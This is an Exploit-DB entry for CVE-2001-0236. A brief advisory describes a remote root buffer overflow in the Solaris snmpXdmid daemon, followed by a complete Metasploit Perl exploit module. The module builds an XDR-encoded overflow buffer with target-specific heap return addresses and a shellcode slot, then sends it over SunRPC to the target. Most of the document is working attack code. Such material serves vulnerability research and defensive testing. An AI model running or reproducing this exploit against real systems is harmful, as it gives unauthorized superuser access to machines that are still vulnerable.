标题: Solaris 2.6/7.0/8 - snmpXdmid Buffer Overflow (Metasploit) EDB-ID: 20649 CVE: 2001-0236 类型: REMOTE 平台: SOLARIS 发布日期: 2001-03-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/2417/info
 
Versions 2.6, 7, and 8 of Sun Microsystem's Solaris operating environment ship with service called 'snmpXdmid'. This daemon is used to map SNMP management requests to DMI requests and vice versa.
 
SnmpXdmid contains a remotely exploitable buffer overflow vulnerability. The overflow occurs when snmpXdmid attempts to translate a 'malicious' DMI request into an SNMP trap.
 
SnmpXdmid runs with root privileges and any attacker to successfully exploit this vulnerability will gain superuser access immediately.

##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::solaris_snmpxdmid;
use base "Msf::Exploit";
use strict;
use Pex::Text;
use Pex::SunRPC;
use Pex::XDR;

my $advanced = { };
my $info =
{
 'Name'  => 'Solaris snmpXdmid AddComponent Overflow',
 'Version'  => '$Revision: 1.6 $',
 'Authors' => [ 'vlad902 <vlad902 [at] gmail.com>', ],
 'Arch'  => [ 'sparc' ],
 'OS'    => [ 'solaris' ],
 'Priv'  => 1,
 'UserOpts'  => {
  'RHOST' => [1, 'ADDR', 'The target address'],
  'RPORT' => [1, 'PORT', 'The target RPC port', 111],
 },
 'Payload' => {
  'Space' => 64000,
  'MinNops' => 63000,
 },
 'Description'  => Pex::Text::Freeform(qq{
 Exploit based on LSD's solsparc_snmpxdmid.c. Exploit a simple overflow and
 return to the heap avoiding NX stacks.
 }),
 'Refs'  =>  [
  ['BID', 2417],
  ['URL', 'http://lsd-pl.net/code/SOLARIS/solsparc_snmpxdmid.c'],
 ],
 'Targets' => [
  [ 'Solaris 7 / SPARC', 0xb1868 + 96000, 0xb1868 + 32000 ],
  [ 'Solaris 8 / SPARC', 0xcf2c0 + 96000, 0xcf2c0 + 32000 ],
 ],
 'Keys'  => ['snmpxdmid'],
};

sub new {
 my $class = shift;
 my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
 return($self);
}

sub Exploit {
 my $self = shift;

 my $target_idx = $self->GetVar('TARGET');
 my $shellcode = $self->GetVar('EncodedPayload')->Payload;

 my $target = $self->Targets->[$target_idx];

 my %data;

 my $host = $self->GetVar('RHOST');
 my $port = $self->GetVar('RPORT');

 if(Pex::SunRPC::Clnt_create(\%data, $host, $port, 100249, 1, "tcp", "tcp") == -1)
 {
  $self->PrintLine("[*] RPC request failed (snmpXdmid).");
  return;
 }

 $self->PrintLine("[*] Using port $data{'rport'}");
 Pex::SunRPC::Authunix_create(\%data, "localhost", 0, 0, []);
 $self->PrintLine("[*] Generating buffer...");

 my $array1 =
  (pack("N", ($target->[2])) x (1248/4)).
  (pack("N", ($target->[1])) x (352/4)).
  (pack("N", 0));

 my $array2 =
  (pack("N", 0) x (64000/4)).
  ($shellcode).
  (pack("N", 0));

 my @array1_tbl = map { unpack("C", $_) } split(//, $array1);
 my @array2_tbl = map { unpack("C", $_) } split(//, $array2);

 my $buf =
  Pex::XDR::Encode_int(0).
  Pex::XDR::Encode_int(0).
  Pex::XDR::Encode_bool(1).
  Pex::XDR::Encode_int(0).
  Pex::XDR::Encode_bool(1).
  Pex::XDR::Encode_varray([@array1_tbl], \&Pex::XDR::Encode_lchar).
  Pex::XDR::Encode_bool(1).
  Pex::XDR::Encode_varray([@array2_tbl], \&Pex::XDR::Encode_lchar).
  Pex::XDR::Encode_int(0).
  Pex::XDR::Encode_int(0);

 $self->PrintLine("[*] Sending payload...");

 if(Pex::SunRPC::Clnt_call(\%data, 0x101, $buf) == -1)
 {
  $self->PrintLine("[*] snmpXdmid addcomponent request failed.");
  return;
 }

 $self->PrintLine("[*] Sent!");

 return;
} URL: https://www.exploit-db.com/exploits/20649